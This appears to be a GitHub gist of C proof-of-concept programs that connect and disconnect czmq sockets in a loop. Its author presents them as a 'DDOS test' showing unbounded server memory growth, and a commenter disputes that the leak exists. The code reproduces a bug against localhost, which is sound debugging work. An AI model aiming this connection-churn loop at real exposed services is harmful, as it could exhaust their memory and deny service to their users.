Skip to content

Instantly share code, notes, and snippets.

@JustonDavies
Last active December 15, 2015 13:18
Show Gist options
  • Save JustonDavies/5266122 to your computer and use it in GitHub Desktop.
Save JustonDavies/5266122 to your computer and use it in GitHub Desktop.
Potential attack vector for exposed ZeroMQ services
#include <stdio.h>
#include <czmq.h>
#define URI "tcp://127.0.0.1:5056"
int
main(int argc, const char* argv[]) {
int count, rc;
char buff[256];
//Version check
int major, minor, patch;
zmq_version (&major, &minor, &patch);
fprintf(stderr, "Starting DDOS test.\n");
fprintf(stderr, "ZMQ version is %d.%d.%d\n", major, minor, patch);
fprintf(stderr, "CZMQ version is %d.%d.%d\n", CZMQ_VERSION_MAJOR, CZMQ_VERSION_MINOR, CZMQ_VERSION_PATCH);
//Setup context
zctx_t *server_ctx = zctx_new ();
assert(server_ctx);
void* server =zsocket_new (server_ctx, ZMQ_ROUTER); assert(server);
//void* server =zsocket_new (server_ctx, ZMQ_PUB); assert(server); //Swap with the above line for the PUB/SUB scenario
rc = zsocket_bind(server, URI); assert(rc > -1);
count = 0;
while(true){
void *ctx = zctx_new (); assert (ctx);
void *client =zsocket_new (ctx, ZMQ_DEALER); assert(client);
sprintf(buff, "client_%d\0", count);
zsockopt_set_identity(client, buff);
//zsockopt_set_subscribe (client, buff); //Swap with the above line for the PUB/SUB scenario
assert(zsocket_connect(client, URI) == 0);
zclock_sleep (7); //I have to do this or I get random lockups at mutex.hpp:90 slow it down more if you have this problem
assert(zsocket_disconnect(client, URI) == 0);
zsocket_destroy(ctx, client);
zctx_destroy((zctx_t **)&ctx);
fprintf(stderr, "Connected & dismantled %d\n", count);
count = count + 1;
zclock_sleep (7); //RE:lockups, there is an existing issue for this against libzmq
if (zctx_interrupted){
fprintf(stderr, "Interrupted, please take a moment to observe the size of the executable in memory.\nPress enter when done...\n");
scanf("%c", &buff);
break;
}
}
fprintf(stderr, "Shutting down...\n");
zctx_destroy (&server_ctx);
return 0;
}
#include <stdio.h>
#include <czmq.h>
#define URI "tcp://127.0.0.1:5056"
int
main(int argc, const char* argv[]) {
int count, rc;
char buff[256];
//Version check
int major, minor, patch;
zmq_version (&major, &minor, &patch);
fprintf(stderr, "Starting cleint czmq ddos/leak test.\n");
fprintf(stderr, "ZMQ version is %d.%d.%d\n", major, minor, patch);
fprintf(stderr, "CZMQ version is %d.%d.%d\n", CZMQ_VERSION_MAJOR, CZMQ_VERSION_MINOR, CZMQ_VERSION_PATCH);
count = 0;
while(true){
void *ctx = zctx_new (); assert (ctx);
void *client =zsocket_new (ctx, ZMQ_DEALER); assert(client);
sprintf(buff, "client_%d\0", count);
zsockopt_set_identity(client, buff);
//zsockopt_set_subscribe (client, buff); //Swap with the above line for the PUB/SUB scenario
assert(zsocket_connect(client, URI) == 0);
zclock_sleep (7); //I have to do this or I get random lockups at mutex.hpp:90 slow it down more if you have this problem
assert(zsocket_disconnect(client, URI) == 0);
zsocket_destroy(ctx, client);
zctx_destroy((zctx_t **)&ctx);
fprintf(stderr, "Connected & dismantled %d\n", count);
count = count + 1;
zclock_sleep (7); //RE:lockups, there is an existing issue for this against libzmq
if (zctx_interrupted){
fprintf(stderr, "Interrupted, please take a moment to observe the size of the executable in memory.\nPress enter when done...\n");
scanf("%c", &buff);
break;
}
}
fprintf(stderr, "Shutting down...\n");
return 0;
}
#include <stdio.h>
#include <czmq.h>
#define URI "tcp://127.0.0.1:5056"
int
main(int argc, const char* argv[]) {
int count, rc;
char buff[256];
//Version check
int major, minor, patch;
zmq_version (&major, &minor, &patch);
fprintf(stderr, "Starting server czmq ddos/leak test.\n");
fprintf(stderr, "ZMQ version is %d.%d.%d\n", major, minor, patch);
fprintf(stderr, "CZMQ version is %d.%d.%d\n", CZMQ_VERSION_MAJOR, CZMQ_VERSION_MINOR, CZMQ_VERSION_PATCH);
//Setup context
zctx_t *server_ctx = zctx_new ();
assert(server_ctx);
void* server =zsocket_new (server_ctx, ZMQ_ROUTER); assert(server);
//void* server =zsocket_new (server_ctx, ZMQ_PUB); assert(server); //Swap with the above line for the PUB/SUB scenario
rc = zsocket_bind(server, URI); assert(rc > -1);
while(true){
if (zctx_interrupted){
fprintf(stderr, "Interrupted, please take a moment to observe the size of the executable in memory.\nPress enter when done...\n");
scanf("%c", &buff);
break;
}
}
fprintf(stderr, "Shutting down...\n");
zctx_destroy (&server_ctx);
return 0;
}
@JustonDavies
Copy link
Author

It seems there is a memory leak or some sort of unexpected behavior in czmq where server sockets (such as Router or Publish) will grow indefinitely in size as more and more clients connect and disconnect. It seems to grow faster when clients server an identity (or subscription), but this could just be my subjective observation, I don't have any proof at the moment. While exclusive (to my knowledge) to czmq anyone wanting to crash your service or API could make use of this method.

To reproduce run the 'all_in_one' program or compile and run 'czmq_leak_s' and 'czmq_leak_c' side by side so see that growth occurs on t he server side and not as a consequence of building up and tearing down contexts/sockets.

@deepcube
Copy link

Hi, I recently talked to you on #zeromq about this. I created my own test case and it shows no growth. I tested with and without identities, with and without clean disconnects. Check here
https://gist.github.com/deepcube/5417288
and let me know what you find. My immediate suspicion is that czmq isn't correctly freeing memory for the socket/context. But I have not yet checked.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment